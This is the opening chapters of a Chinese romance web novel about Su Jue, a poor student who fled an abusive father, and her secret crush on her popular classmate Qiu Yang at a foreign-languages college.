《那些不可能的事》
1. 第 1 章
和外国语学院百分之八十的女生一样，苏决喜欢邱扬。
邱扬是校草，性格热情开朗，朋友很多，在大学校园里几乎是前呼后拥。
他打篮球时喜欢撩起衣摆擦汗，无意露出腰间的人鱼线和腹肌，还有他两个月就考下了驾照，成人礼是一辆保时捷跑车等等，都成了女寝夜晚聊天的谈资。
但苏决和那些女生又不一样，她们都是家境优渥的女孩，而她是从山沟里考到这纷繁的大城市里。
整个外国语学院英语系，只有她一个人申请了助学贷款，精致时尚的外语学院，因为她添了一丝寒酸。
但苏决并不在意别人的眼光，穷、孤僻、寒酸这样的标签，这些不算什么，它们比□□犯的女儿、有娘生没娘养的赔钱货友善太多。
这个大城市里没人认识她，没人在意她，也没人伤害她，她很有安全感。
苏决一直认清自己和别人的差距，同时也相信知识能改变命运，努力就会有回报。
这是她高中班主任对她说的。
高二那年，苏决爸要把她卖给别人当老婆，成交金额是6000元，当时她藏了一把水果刀，本想和爸爸同归于尽，是她的班主任用了两个月的工资交给苏决爸，再带她到离大山300公里的城市寄宿学校读书。
高中班主任救过苏决的命，苏决相信她说的话。
苏决第一次见到邱扬，是在开学典礼上，他作为新生代表发言，全程脱稿演讲，最后还说了句美式英语，苏决从没见过如此有活力有热情的人，也没见过谁能把英语说得跟母语一样标准动听。
他像太阳一样灿烂，苏决一直在看着他，忘了他最后那句英语是什么意思。
苏决没想到的是，邱扬是她的同班同学，而寝室里睡在她隔壁的杨恩兮和邱扬一起长大，别人都戏称他们是青梅竹马，男才女貌时，杨恩兮总是否认：“我才不喜欢这种钢铁直男。”
杨恩兮很乐意把邱扬和她之间的事情分享给大家，从她一晚又一晚的高谈阔论中，苏决拼拼凑凑，竟了解了不少邱扬的信息。
邱扬家的公司员工比T大学生都多，高中有很多女生追他，但他从没有谈过恋爱，喜欢军械模型和编程，钢铁直男一枚，选择学英语，主要是他爸想让他成为一名外交官。
当大家开玩笑说邱扬不谈恋爱是不是喜欢她时，杨恩兮总是嗤了声：“苏决才不喜欢这种钢铁直男。”
苏决没有心思去猜测杨恩兮是否喜欢邱扬，苏决只知道，苏决和邱扬不会有任何交集。
苏决一直知道，苏决对他的喜欢只能滋生在阴暗贫瘠的角落里见不得光，这只是一场荒唐可笑的、无疾而终的暗恋。
庆幸的是，苏决也没有太多的时间去想邱扬，因为她有很多事要做，她要努力学习，拿励志奖学金和国家助学金，她还要打工，学校勤工助学部给她安排了一份图书馆的兼职，她还找了份在食堂洗碗的工作，不仅有钱拿，还可以免费吃一顿晚饭。
苏决每天忙得跟陀螺一样，回到寝室洗完澡想倒头就睡，可又强忍着睡意听杨恩兮讲一些关于邱扬的事情。
名校里的女孩子有些傲气，但也是善良的，她们虽然觉得苏决格格不入，但也不会刻意孤立针对她。
譬如她们在聊这个月父母给多少生活费时，苏决一进宿舍，她们就集体沉默，再说一些无关痛痒的话。
苏决不求跟她们成为朋友，她们把她当成普通的同学，她已经觉得十分轻松了。
和邱扬第一次接触是在图书馆，他皱着眉找书，来来回回找了很多遍，这里是机械设计专区，他在找那本《军械设计》，有一回班会课，她坐在邱扬附近，听他说图书馆有本《军械设计》总是借不到。
而那本书，正在她的小推车上。
苏决推着小车走过去，站在离他不远的地方，把书一本一本往书架上放。
邱扬认真找书，并没有注意到她，她刻意碰了下小车上的登记册，塑料壳子的登记册掉到地上发出了声响，苏决不动声色地捡起来，直起腰抬头时，就看到了邱扬正看着苏决。
苏决别过头，正想着怎么才能让他看到苏决车上那本《军械设计》时，邱扬叫她：“苏决？”
苏决不知道摆什么表情，只好面无表情地朝他点了下头：“嗯。”
苏决没想到，邱扬居然知道她的名字。
但也在情理之中，毕竟邱扬是班长。
他似乎被她的冷淡弄得有点尴尬了，笑容僵了一瞬后，又重拾笑容，就朝她走过来。
苏决有点紧张，她笑自己荒唐，之前面对醉酒的父亲的拳打脚踢时，都能清醒淡然，怎么这时候却慌了神。
将登记册夹回小车上时，没控制好夹子，夹到了手，突然的锐痛让她冷静了许多。
邱扬走到她面前停下来，这是她第一次离邱扬那么近，没想到他竟比她高一个头，她只勉强到他的肩膀。
邱扬问：“你在图书馆当管理员？”
邱扬问得很新奇，别的同学看到她，都会问在这里兼职或者打工，只有邱扬说苏决是在当管理员。
苏决又点了下头：“嗯。”
气氛又沉默了下来，她不太擅长聊天，但也不想让他尴尬。
苏决抬眼看向他：“你是在找书吗？”
邱扬笑着点了点头，“对啊，没找到。”
“我帮你找吧。”
邱扬恍然大悟，笑道：“对哦，你是管理员。”
他的表情太过丰富，苏决眼神躲了下：“你要找什么书？”
“《军械设计》。”
不出她所料，但她没立刻从小车上拿出来给他，她不想表现出任何苏决在关注他的蛛丝马迹。她按着书号找到这本书的位置，位置是空的。
苏决收回手：“被借走了，我看看还没还，如果还了应该在车上。”
邱扬：“麻烦你了。”
苏决低头随意翻了下，拿出那本《军械设计》
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递给他：“是这本吗？”
邱扬眼前一亮，连忙接过，如获至宝：“对，就是这本，谢谢你，我找了好久。”
苏决问他：“你喜欢看军械方面的书？”
邱扬眼神从书上移开看向她，虔诚点头：“嗯，喜欢。”
“三楼刚订了几套国防工业相关的杂志，你有兴趣的话可以看看。”
邱扬的眼睛顿时亮了起来：“真的？”
苏决点了点头，但并没有告诉他，当时管理员要上报订刊需求，问她现在的学生喜欢看什么杂志时，她选了三样国防工业的杂志。
苏决本以为对话到此结束，没想到邱扬拿出手机，调出微信二维码：“加个微信吧，找书好费时间，以后我找不到书可以找你帮忙。”
苏决好像没有理由拒绝，邱扬毕竟是她的同班同学，还是她的班长。
苏决拿出手机扫了下他的二维码，他的手机是最新款的苹果，连手机壳和手机膜都没有，而苏决的手机是个二手的安卓机。为了掩盖碎裂的边角，还套了个黑色的手机壳。
但邱扬没意识到她的窘迫，笑着收起手机，这时他的手机响了，是杨恩兮给他打电话，邱扬连忙掐掉电话，而后快速调低铃声，歉意笑了笑：“抱歉，忘了关静音。”
而手指飞快在屏幕上飞舞。
苏决默不作声转过身，继续整理书籍。
邱扬收起手机，问苏决：“朋友要我请她喝奶茶，你喜欢喝哪家？什么口味的？”
邱扬没有问她要不要喝，直接问她要喝什么口味的，她不禁想，在成长的过程中要得到多少爱，才能这么阳光真诚。
苏决摇了摇头：“不用了，我不爱喝。”
邱扬不可置信：“你们女生不都爱喝这些么？你是在跟我客气吗？”
“没有，真不爱喝。”
氛围又沉默了，她真的不太擅长聊天，如果是别的女生，一定能把氛围变得很轻松。
但很快她也释然了，即使她把氛围变得轻松又改变什么呢。
邱扬笑了下，扬了扬手中的书：“那我看书去了，你忙吧。”
苏决点了点头：“好。”
其实苏决并不是不想喝奶茶，最便宜的奶茶要八块钱，万一真的好喝呢，万一她爱上了戒不掉呢。
她又没有能力想喝就喝，不如就不碰了吧。
对苏决来说，这天真的发生了很多好事，她在食堂和图书馆兼职的工资都发下来了，总共一千八，下个月的生活费有了着落，她的心情也像今日的天气一般明媚，明媚到她甚至想给自己点一杯奶茶，明媚如邱扬含笑的眼睛。
晚上杨恩兮提了四杯网红奶茶回来，说邱扬排了三个小时，室友纷纷附和说大家沾了杨恩兮的光，苏决雀跃了一整天的心情才落了地，就如美梦清醒，虽然空虚，但是踏实。
她不想碰奶茶，邱扬却端到了她面前。
但她不知道的是，这其实是邱扬是第一次排队买奶茶。
2. 第 2 章
加了微信之后，邱扬会给苏决发消息。
【苏决，杂志上新了吗？】
【还没。】
【上新了给苏决留着，告诉我一下，我过去看，谢谢。】
【好。】
苏决告诉过他，这个杂志是半月刊，一号和十五号上新，有时候邮寄晚了，但不会超过两天，可他似乎没记住，想起来就发微信问，很随意。
后来只要他问，她就答，或许他不太在意她说的话吧。
从此之后，无论多忙，苏决每天都要去三楼杂志阅览室看看，上新了就会拿出来放着，不让别人借走，等邱扬过来。
杂志是半月刊，邱扬每个月来两次，时间久了，次数多了，阅览室的老师看到苏决就笑着说：“又来帮朋友占书了。”
苏决点了下头：“嗯。”
到后来，阅览室的老师也会把杂志帮苏决留出来，她很感激，毕竟图书馆有时候来新书，她会忙得走不开，杂志就会被别人先借走了，她不想让邱扬来了却扑个空。
才过了一天，邱扬又发微信问她。
【苏决，杂志还没上啊？】
还加了一个着急到捶胸顿足的表情包。
【到了，刚到。】
他发了个快马加鞭的表情包。
苏决把杂志抽出来放在一边等邱扬过来拿，邱扬来了之后跟她道了谢，苏决没离开阅览室，而是留下来帮杂志馆的老师整理书。
老师夸她：“现在勤奋努力又能吃苦的女孩子不多了，你不容易，要加油哦。”
老师是本地人，这么大的城市里，本地人大多小康且拥有一颗怜悯的心，她往上报工作小时的时候，会帮苏决多报几个小时，苏决坦然接受她的善意，也更尽自己所能去帮助她工作，不能让老师白往上报了，而她也能心安。
一来二回，她和邱扬的聊天记录渐渐多了，虽然聊天的内容很单一，但邱扬发的表情包渐渐多了，动图也渐渐多了，她没舍得删，一个一个添加到苏决的表情包，没过多久，她和邱扬的聊天记录居然成了占手机内存最多的部分。
每次对话都是邱扬先开始，结束也是以他奇奇怪怪的动图或表情包结束，苏决从不用表情包，每句话之后都有句号，显得古板又冰冷。
就跟她本人一样。
每次寝室的夜聊都离不开邱扬，灯一关，她们七嘴八舌就聊开了，苏决安静听她们说话。
李子颖：“兮兮，邱扬到现在都没有加我朋友的微信。”
前不久李子颖说她有一个朋友想追邱扬，托她问杨恩兮要邱扬的微信，杨恩兮大大方方地给了。
杨恩兮：“我就说他不会加的，你不信我。”
李子颖：“我看着他还挺好接触的，没想到加个微信那么难。”
杨恩兮：“他又不是随便加女生微信的人，更何况是想追他的女生。”
苏决轻轻翻了下身，看了眼手机，邱扬的微信安静地躺在她的好友列表里。
李子颖：“听说了吗，经贸系的系花据说要追邱扬呢。”
关欣悦：“你说的是赵萌晓吗？”
李子颖：“不然还有谁？赵萌晓虽然长得一般，但那身材，我一个女的，前凸后翘的，我看了都想摸两把，何况是男生。”
关欣悦：“她那个长相还一般啊，我感觉挺漂亮的，如果真追起来，我估计邱扬不一定能抵挡得住。”
听到这儿，苏决的心不轻不重地揪了一下，在黑暗中，她的手覆上心脏，它在用力挣扎着，苏决知道，它想极力克制，但克制不住，只好输送略带酸意的血液到四肢百骸，浑身别扭。
这个流言很早就传出来了，苏决为此留意过赵萌晓，很高，很白，很时尚，很漂亮。
她俩说完，才意识到杨恩兮没有说话，李子颖话锋一转说：“反正没我们恩兮好看。”
杨恩兮：“邱扬根本不喜欢赵萌晓这样的，以前我们高中校花比她好看，身材比她火辣，追了他两年，他都无动无衷，赵萌晓算什么。”
她们一阵唏嘘。
李子颖又半开玩笑道：“恩兮，要我说，邱扬说不定是喜欢你，但不好意思开口，等你向他表白呢。”
杨恩兮嗤了一声：“你当男人是什么好东西呢？你见过哪个男的喜欢别人还不敢表白的？男的不跟你表白，那只能说他不够喜欢你，再说了，喜欢了还不表白，不去追，那个男的也够孬的。”
苏决已经听不出来，李子颖说这话的时候是真心还是恭维，苏决也搞不清楚杨恩兮是不是喜欢邱扬，也不知道邱扬喜不喜欢杨恩兮，但她现在知道的是，杨恩兮现在认为，邱扬并不喜欢她。
这段时间有个男生正在热烈追求杨恩兮，围追堵截，糖衣炮弹，整个系都知道，杨恩兮被人热烈追求着。
据说还是邱扬搭的线，但杨恩兮否认了，说他俩只是同寝室而已，邱扬才不会做这种牵线搭桥的无聊事。
今晚的杨恩兮有点怪，或许是今天中午在食堂发生的事刺激了她。
今天上午最后一节是高数课，苏决和杨恩兮选课选到了一起，下了课之后正好是午饭时间，杨恩兮不习惯一个人去食堂，便拉着苏决一起去了。
苏决没好意思拒绝，到了食堂之后人满为患，座位都坐满了，东张西望半天，苏决才找到了角落里还有个两人座，正要招呼杨恩兮过去，只见她端着盘子，走到一个空位下坐了下来，苏决瞧了眼，对面坐的是邱扬。
苏决没喊杨恩兮，独自走到一边，刚坐下，就听到一阵起哄声。
在嘈杂的食堂里，这起哄声并不是很明显，但足以引起苏决的注意力。
因为邱扬坐在那里。
苏决装着不轻易抬头，邱扬笑盈盈地端起餐盘，一手拍了拍男生的肩膀，男生顺势坐到了杨恩兮的对面，那个男生正是热烈追求杨恩兮的男生。
他将碗里的鸡腿夹到了杨恩兮的餐盘里，周围的人又起哄了，包括邱扬。
杨恩兮红着脸说了什么，在杨恩兮发现苏决也在看着他们之前，苏决就收回目光，若无其事吃饭。
在邱扬的话题方面，杨恩兮一直有种优越感，她不会愿意让苏决看到邱扬把位置让给了追她的男生。
而苏决没有时间看热闹，她吃完饭还要抓紧时间写作业，晚上要去图书馆整理书籍。
她正埋头吃饭，眼前出现了个餐盘，苏决下意识顿了下，没抬眼看人，继续吃饭。
“苏决同学，这儿没人吧？”
苏决抬头看，是邱扬，他没等她回话，已经坐到了她对面的位置上，朝她笑着挑了下眉。
苏决摇了摇头，低头继续吃饭。
其实苏决心里有点紧张，握着筷子的手不由得紧了紧，但还是自信邱扬并没看出什么异样。
邱扬突然笑了一下。
苏决停止咀嚼，抬眼看他，眼神很平静，就这么冷淡地看着对方。
这是苏决惯用的冷场方
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式。
但苏决现在一定很丑，嘴里有东西，脸颊鼓着的，嘴唇还泛着油光。
但邱扬没有怯，眼里的笑意更浓了：“苏决同学很厉害啊，图书馆这个月的月度工作之星又是你了。”
苏决转了下眼睛，点了下头，继续咀嚼吞了下去，而后扯了张纸擦了擦嘴，又朝他点了下头：“谢谢。”
苏决真的不知道和邱扬聊什么，加上自己揣着那点暗恋的心思，更加不知道说什么话才好，她甚至担心别人此时投过来探寻的眼光，生怕自己那一点心思暴露在外，但想想又觉得自己多虑了。
没有人会把他们两个人扯在一起。
邱扬永远都不会知道，她冷静的皮囊下，心思已经百转千回，心跳已经乱了节奏。
正常人此时必定会觉得无趣了，但邱扬看着苏决的眼睛继续问：“谢我什么？”
苏决没做好邱扬还会继续说话的准备，怔了怔：“什么？”
邱扬：“你谢我什么？”
苏决回忆刚才的对话，平静回答：“谢你夸奖我。”
邱扬嘴角的弧度加深，穷追不舍：“那你怎么谢我？”
苏决真的在认真思考怎么谢他，他什么都有，他不需要苏决做什么，想了好久没想出个所以然，只好说：“帮你留杂志，这样算吗？”
邱扬身子往前倾，看着苏决的眼睛：“那下次你要主动发信息告诉我杂志到了，行么？”
苏决很认真地点了下头，她想尽快结束这段对话，她怕再说下去，就要露出马脚了。
邱扬噗嗤笑出声，最后压抑不住，虽然强忍着笑声，但还是控制不住肩膀笑得直发抖。
苏决安静地坐着，背挺得笔直，难堪地抿了抿唇。
他一直在笑，他在笑什么呢。
想想也正常，像她这样的人，在他们眼里，一定是滑稽的。
苏决没理会他，低头继续吃饭。
邱扬停止了笑，一本正经跟苏决道歉：“苏决同学，对不起，逗你玩呢，你不要生气。”
苏决机械地摇了摇头：“没关系。”
邱扬看着苏决，笑着说：“同学，别人夸你一句，你就真的要付出行动去感谢啊，那是你自己努力工作得到的肯定，夸你是应该的，知道吗？”
苏决沉默着，心想自己最终还是露出马脚了，喜欢一个人，总会迫不及待地想去为他做些什么，她太心急了。
庆幸的这些事在邱扬看来微不足道，他并没有察觉异常。
苏决不知道怎么回应，邱扬一直看着她，似乎在等她回应。
这也是她和邱扬很不一样的地方，他生来众星捧月，在温暖阳光的环境中长大，所以开口说话也是暖洋洋的，而她除了冷淡，就是无措。
苏决点了下头，邱扬松了口气，手抬起来朝苏决伸过来，她下意识往后仰，他收回手，抓了把后脑勺，笑着说：“没生气就好。”
杨恩兮的电话叮叮咚咚响了，将她飘远的思绪拉了回来，她才意识到，在她胡思乱想的这段时间里，寝室里其他人都在沉默着。
或许其他人也在胡思乱想，正因为手机振这么一下，她们的思绪也才飘了回来。
李子颖清了清嗓子，继续刚才的话题：“说不定邱扬暗恋你呢。”
杨恩兮又嗤了声：“你觉得邱扬这种人会玩暗恋吗？自卑的人才玩暗恋呢。”
苏决翻了个身，轻轻叹了一口气，强迫自己不要往心里去。
3. 第 3 章
学期快过半，就是杨恩兮19岁的生日，那天正好是周末，对大学生来说，这是个交流感情的好机会。
她们聊起了年龄，想在寝室排个一二三四。
苏决的生日是除夕，她那个小山村的说法是除夕生的孩子是天煞孤星。
排下来，李子颖生日1月份，她说：“我们同年，那我就是老大啦。”
苏决说：“我20岁，比你们大一岁。”
李子颖：“啊？为啥？”
苏决在想要说上学晚，还是说复读了一年，或者小学留过级。
总不能说，她曾经是犯罪嫌疑人，配合调查了一年。
关欣悦：“不是说南方上学都早吗？”
苏决：“复读了一年。”
天气转凉，追杨恩兮的那个男生建议生日那天户外烧烤野炊，再办个露天KTV，请大家一起热闹热闹，场地都准备好了，死缠烂打下，杨恩兮终于点头答应。
杨恩兮他们写完了作业，早早就躺到床上闲聊，我十点才从图书馆下班，洗刷之后在补作业，她们聊她们的，我做我的，互不打扰。
杨恩兮：“你们去不去？”
李子颖和关欣悦很兴奋：“去去去，当然去，兮兮的生日怎么能不去呢。”
杨恩兮：“谢谢好姐们。”
她们一阵沉默，苏决知道她们都在看着她。
苏决正想放下笔说什么，杨恩兮先开口了：“苏决，你也一起去吧。”
苏决有点难为情，周末她还要做兼职，并没有时间去参加这种联谊，但如果拒绝了，往后四年还要住在一起。
她孤僻冷淡，独来独往，但并没被她们排挤和孤立，她知道，她们都是好人。
李子颖和关欣悦一前一后说：“就是，一起去吧。”
苏决点了下头：“好啊。”
她们接着聊天，而她继续写作业。
李子颖：“兮兮，那他们寝室的人都会去嘛？”
关欣悦笑道：“你直接问邱扬去不去得了。”
李子颖：“那我叫上我朋友可以嘛？”
杨恩兮：“我说颖子，要你追人也这么上心，你高中那个白月光早就被你收入囊中了。”
李子颖假意呜呜唱起来：“唯一的答案，爱一个人好难。”
这时，灯啪地一声黑了，寝室断了电，一阵惯常的哀嚎之后，夜渐渐安静下来。
苏决突然想听一听李子颖刚才哼的苦情歌，但又觉得太过矫情，舒了口气之后继续写作业，她还有三张作业没写，她连睡觉的时间都要挤出来写作业，没那么多的时间矫情。
杨恩兮生日那天，她们一大早就开始打扮，都穿了裙子，还化了妆，苏决没有裙子，上衣永远是纯色的基础款T恤，下身要不是基础款运动裤，或者是基础款牛仔裤，好在生来脸蛋和身材都还可以，穿着也干干净净的，也没显得太寒酸。
准备出门，杨恩兮把她的化妆品递给我：“苏决，你也化个妆吧。”
我摇了摇头：“我不会化妆。”
李子颖凑了过来：“我来帮你化。”
我摆了摆手：“不用了，我不化了。”
今天的主角是杨恩兮，她是去当配角的，也不想惹人注意，安安静静当个透明人就挺好。
杨恩兮盯着她看，半晌后突然抬眉笑了下：“不化也好，你确实也挺漂亮的。”
苏决知道自己漂亮，她们那儿赌徒父亲嫁女儿最多能拿3000块钱，而她爸爸准备嫁她的时候，开口要了6000，别人一口答应了，价都不还。
就因为我这副皮囊生得要比别人漂亮。
但苏决不知道为什么杨恩兮会突然说起这个，也就说了句实话：“你也很好看。”
杨恩兮笑了起来：“也？原来你也知道你好看啊。”
苏决觉得大城市里的女孩子很聪明，她们很轻易从蛛丝马迹中找到事实。
杨恩兮背上包转身出了门，苏决披上了基础款棒球服外套，跟在他们身后。
那个男生选的场地在湖滨公园里，沿湖租了个大天幕，周围还系上五颜六色的气球和彩灯，她们到的时候，场地已经全都准备好了，还有乐器和麦克风，非常有情调。
苏决环视了一圈，邱扬也在，他长腿曲着，抱着吉他一边调着弦，一边和人笑着说话。
他亦没有隆重打扮，穿的也是一件基础款的棒球服。
苏决内心深处难以抑制窃喜，但又很惶恐，很快移开目光，今天晚上，她的余光已经有了目标。
就像女生的第六感一样，男生或许也有一种奇怪的能力，能很快辨别谁是出来玩的，谁是来凑数的，来玩的都走到人群中谈笑风生，凑数的人安静坐在一边，倒是落得个清净。
他们谈笑风生，邱扬也在其中，这种场合显得苏决格格不入，但她也很快找到了自己的位置。
那个男生订了好多烧烤食材，但他们都是养尊处优的公子和公主，不是烤焦了，就是还没熟，所有人正对这一大堆的食材一筹莫展的时候，邱扬懒洋洋地靠在椅子上，翘着二郎腿掏出电话：“我请个大厨过来帮我们烤吧。”
苏决正好也没事做，就说：“要不我来烤，我会。”
那个男生生怕哪个环节搞砸了，惹得杨恩兮不高兴，听苏决这么说，像抓到了救命稻草一般：“那再好不过了，感谢感谢。”
邱扬收了手机，立刻从座位上站了起来：“那我来帮忙。”
说完就跟到苏决身边。
不知道哪个男生说了句：“卧槽，我没见过邱神那么狗。”
随后有几个人瞎起哄。
邱扬一回头，手指点了下，那些起哄的人就闭了嘴，苏决很窘迫，但仍面不改色地走到烧烤架旁，拿起食材开始烤。
她没搭理邱扬，邱扬倒是很忙碌，一会儿给她递盐，一会儿给她递酱油。
烤好一盘，她递给他。
邱扬端着盘子笑问：“大厨，全是给我烤的？”
苏决双手没空闲，朝正在玩桌游的男男女女抬了抬下巴：“你送过去吧。”
邱扬拿起一串五花肉，不由分说就咬了一口，烫得直斯哈嘴，苏决立刻放下手里的烧烤，弯腰从身边的箱子里拿出一瓶水拧开盖递给他。
邱扬接过，指尖触碰到一起时，他们都怔了怔，但她很快松开手，邱扬仰头喝水，却垂着眼睑看着她。
苏决收回眼神，转过头继续烧烤，她扛不住邱扬这种探究的眼神，生怕他看出些什么东西来。
但无论什么样的窘境和尴尬
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，苏决都能让自己平静淡然，还有什么镜况比被人拳打脚踢恶语相向更难捱呢。
余光中的邱扬一直维持这个姿势一动不动，苏决情不自禁转过头，邱扬还在看着她。
苏决有点不自在：“你去那边玩吧，我一个人可以。”
邱扬吊儿郎当地又咬了一口肉：“赶我走？”
她没回答他的话，转移了话题：“好吃吗？”
邱扬咀嚼着，盯着我看，迈着闲散的步子从我的身后绕到我的另一侧，：“你还别说，人不可貌相，海不可斗量，没想到苏大厨竟有如此手艺，在下佩服佩服。”
文绉绉的话被他用吊儿郎当的语气说出来，苏决低着头，不禁勾了勾唇。
邱扬啧啧两声，凑过来一些：“你又还别说，人不可貌相，海不可斗量，没想到苏大厨笑起来真好看。”
她嘴角的弧度深了些。
在阳光下长大的孩子真美好啊，连说的话都暖洋洋的。
远处杨恩兮在喊：“姓邱的，想独吞啊，拿点过来分给我们吃。”
邱扬端着盘子走过去：“行行行，寿星最大。”
一整个晚上，苏决都在烤，邱扬当跑腿的，熏了自己一身油烟后，终于把他们都喂饱了。
做东的男生吆喝：“苏大厨，不烤了，一会儿还要吃蛋糕。”
我的室友朝我招了招手：“过来坐这儿休息一会儿，吃点东西。”
其实苏决也吃饱了，每次烤好装盘，邱扬先是拿一串递给她，自己再叼着一串，再端过去给他们吃。
今晚的主角虽然不是邱扬，但还是有很多的眼光盯着他，我不想引人注目，为了不让他再拿烤串递给她，烤好之后她先拿起一串吃再递给他。
但她又觉得自己多虑了，不会有人把她和邱扬联系在一起。
他似笑非笑接过，盯着她抬了抬眉，笑了下之后没说什么就端走了。
接下来他们还有节目，邱扬不喧宾夺主，抱着吉他躲到了最后给人伴奏，那个男生站在C位，唱了一首《情非得已》。
邱扬的手指很长，抱着吉他扫弦的姿势很肆意洒脱，身子随着节奏轻轻摆动的样子，将骨子里的自信和骄傲散发出来，阳光可爱，又自由自在。
她故意不看他，但余光里全是他。
/我真的真的很愿意，就这样陷入爱的陷阱/
男生改编一句词，接近嘶吼地唱了出来，把现场气氛推向高潮，苏决安静地鼓掌，余光里她看到邱扬也在轻轻跟着哼，她转眼看向他，猝不及防对上了他的目光。
正好歌曲唱到了最后，邱扬看着她唱出了最后那句词——
/爱上你是我情非得已/
她移开目光，努力地盯着一个黑点，插在衣兜里的手紧紧握着，试图抑制从心里滋长出来的那些疯狂的念头，有窃喜，有兴奋，亦有惶恐，酸楚，苦涩，难过。
但心是叛逆的，不理智的，宛如心里住着一只垂死挣扎的困兽，越是囚困压抑，它越想挣脱爆发。
我眼睁睁地让心里的困兽挣脱牢笼，随着血液冲刺着我的身体，肆意吞噬我的理智。
所有的情感最终都涌到了鼻尖，酸酸涩涩，又胀又软，堵得我无法呼吸。
她喜欢邱扬，但他们离得好远好远。
4. 第 4 章
接下来，男生送花表白，气氛浪漫到了极致，杨恩兮在他捧花单膝下跪时，含笑接过鲜花，他激动得将杨恩兮横抱起来转了好几圈。
苏决没再看邱扬，余光也不看他，想看他的时候就强迫自己想英语单词，想高中班主任嘱咐她的话，想那个生她却伤害她的地方。
她用接近残忍的方式和心中的困兽对抗，把自己折磨得精疲力尽。
直到邱扬端着蛋糕到她身边的时候，她才回过神，但精神没缓过来，直愣愣地看着他。
他眉头一皱问：“不舒服？”
她连忙摇摇头：“没有，怎、怎么了？”
他安静地看了她几秒，把蛋糕端过来：“选吧。”
为了照顾到大家口味不同，男生订了个都是玫瑰花的蛋糕用来让杨恩兮吹蜡烛之外，还定了许多口味不一样的小蛋糕供大家选择。
苏决长这么大只吃过一次蛋糕，是高中班主任快退休了，恰逢她生日，班里凑钱给她买了个蛋糕帮她过了个生日。
后来老师把苏决那份钱还给了她，剩下的充了班费，还把半个蛋糕都留给了她。
那个蛋糕上有一圈甜丝丝的草莓。
邱扬：“不要随便拿，喜欢哪个拿哪个。”
她的手从那个芒果蛋糕移开，拿起那个草莓蛋糕：“谢谢。”
邱扬继续让别人挑，依然很耐心，笑着对每个人说：“喜欢哪个？随便拿。”
生日会结束时已经是晚上九点多，男生抱得美人归，杨恩兮继续约会去了，邱扬帮大家都打了车，苏决和关欣悦、李子颖一辆车，一路上她俩叽叽喳喳，我一直沉默着。
她们聊着，似乎也得把她绕进去：“决决，你烤肉烤得真好吃耶，你是不是也很会做饭？”
我坐在副驾驶，回过头点了下头：“会。”
“哇，好厉害啊。”
接而叽叽喳喳聊开了。
直到寝室快熄灯，杨恩兮才回来，她口红都掉了，但嘴唇很红，关欣悦和李子颖起哄。
杨恩兮笑着抹了一把嘴唇，也不羞愧：“傻样。”
关欣悦暧昧兮兮道：“什么感觉？”
杨恩兮拍了下她：“三条腿的男人那么多，想知道自己去试。”
“三条腿？哇，三条腿。哈哈哈。”
她们在打闹，苏决停下笔，安静地听她们说话。
李子颖看着苏决，惊奇道：“听到三条腿我们冰山美人都停笔了耶，怎么，小决决你也想知道？”
她笑而不语，任她们闹，但她知道，直到今天，陌生的大学生活，她好像才开始融入那么一点点。
她也知道，从此以后，寝室的夜聊不会再硬把杨恩兮和邱扬凑在一起。
李子颖：“从今晚来看，我觉得邱扬挺好接触的啊，为什么我朋友追不上呢，连微信都加不上。”
关欣悦：“我倒是觉得邱扬是为了躲你朋友，才跑到小决决那里。”
杨恩兮嗤了声：“你想多了，他才懒得绕。”
寝室又安静了下来，苏决正要闭上眼睛，杨恩兮突然开口：“苏决，那你觉得邱扬怎么样？今晚他倒是和你有说有笑的。”
苏决吓得心漏掉了一拍，还好是在黑暗中，没人发现她的窘迫。
她清了下嗓子：“是个好同学。”
杨恩兮噗嗤笑出声：“姓邱的天天给人发好人卡，没想到有朝一日也会被人发好人卡，报应。”
苏决觉得杨恩兮这样说有点暧昧，她很真诚回答：“我说的是真的。”
李子颖：“难得耶，小决决第一次参加我们的夜聊。”
其实，她已经在心里辗转了万千遍。
不一会儿，苏决的手机嗡地响了一声。
邱扬给我发了个音频。
【我唱的情非得已，比他唱得好。】
她的心都快跳出了胸腔，脑子里浮现他含笑自信的样子。
明明人不在身边，她却紧张得手心都出了汗，插上耳机后，手指悬在屏幕上方，迟迟不敢点开。
辗转几次，她还是摁灭了手机，拔掉耳机睡了觉。
这一夜睡得极不安稳，苏决梦到自己永远离开了这里，去了国外过自由自在的生活，她像走在云端一般轻快，一回过头，却看到了手里拿着棍棒，满嘴污言秽语的父亲凶神恶煞朝她跑来，她杵在那里，跑也跑不动，也不敢表现出害怕，像一块木头一样杵在那里，等着他的打骂。
但他追着她的路好像无限长，他打不到，就一直在那里骂，说侮辱她的话，旁边传来一阵笑声，她转过头一看，是邱扬正笑着看着她，她拼命摇头，不要他过来，想伸手捂住他的耳朵，不要他听到这些话。
但他靠近她的路好像也无限长，他们就这样撕扯着她。
清晨的闹铃将她从梦魇中拽了出来，她猛然坐了起来，额头和背后传来一阵凉意，惊得她打了哆嗦。
她满头冷汗，连睡衣都湿透了。
苏决静了一会儿，拉开帷幔，其他三人盘腿坐在床上，一脸疲倦地看着她。
苏决问：“怎么了？”
关欣悦：“苏决，你没事儿吧？”
她摇了摇头：“没事，怎么了？”
其他三人不约而同松了口气，接而同时往床上倒，被子一蒙，继续睡觉。
苏决看了眼时间：“今天第一节毛选，你们都不去吗？”
杨恩兮挣扎着从床上坐起来，看着苏决，许久才无奈说：“还不是因为你。”
李子颖也坐了起来：“你昨晚吓死我们了，又哭又笑又磨牙的，还浑身发抖，也不知道是发抖还是抽搐。”
关欣悦：“我们刚想叫醒你，你一翻身又睡着了，接着又循环往复，整整一夜。”
苏决很不好意思：“对不起，真的抱歉。”
杨恩兮：“你真的没事？要不要去医院看看？”
苏决摇了摇头：“我只是做了噩梦，没事，对不起。”
杨恩兮摆了摆手：“行了，别道歉了，感觉不好意思就去帮我们买个早饭吧，让我们再睡一会儿，我要葱油饼加蛋。”
关欣悦和李子颖：“同上。”
苏决买完早饭回来，她们已经把早饭的钱转给我，风卷残云一般吃过了饭之后就呼呼啦啦上课去了。
之后这件事她们再也没有提起，她们依然叽叽喳喳，每天都有很多异想天开的想法，聊得不亦乐乎。
苏决依然沉默而忙碌，她一向起得早，会给她们带早饭，她没有自行车，换教室的时候总抢不到位置，她们也会帮她抢位置。
在这短短几个月的时间里，苏决遇到的好人，比
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她之前十八年遇到的都要多。
班主任说得对，她告诉苏决，要去一个谁都不认识我的地方，那个地方要繁荣发达，那里的人会包容和尊重，要她努力生根发芽。
她终于在陌生的环境里，找到了一种微妙的平衡。
邱扬发的音频她没有点开，过了七天文件自动过期了，这段时间邱扬也没给她发信息，国防科技的杂志上了新，邱扬也没有再火急火燎发短信。
苏决抽出杂志放在一边，好几次提起手机都不知道怎么发过去。
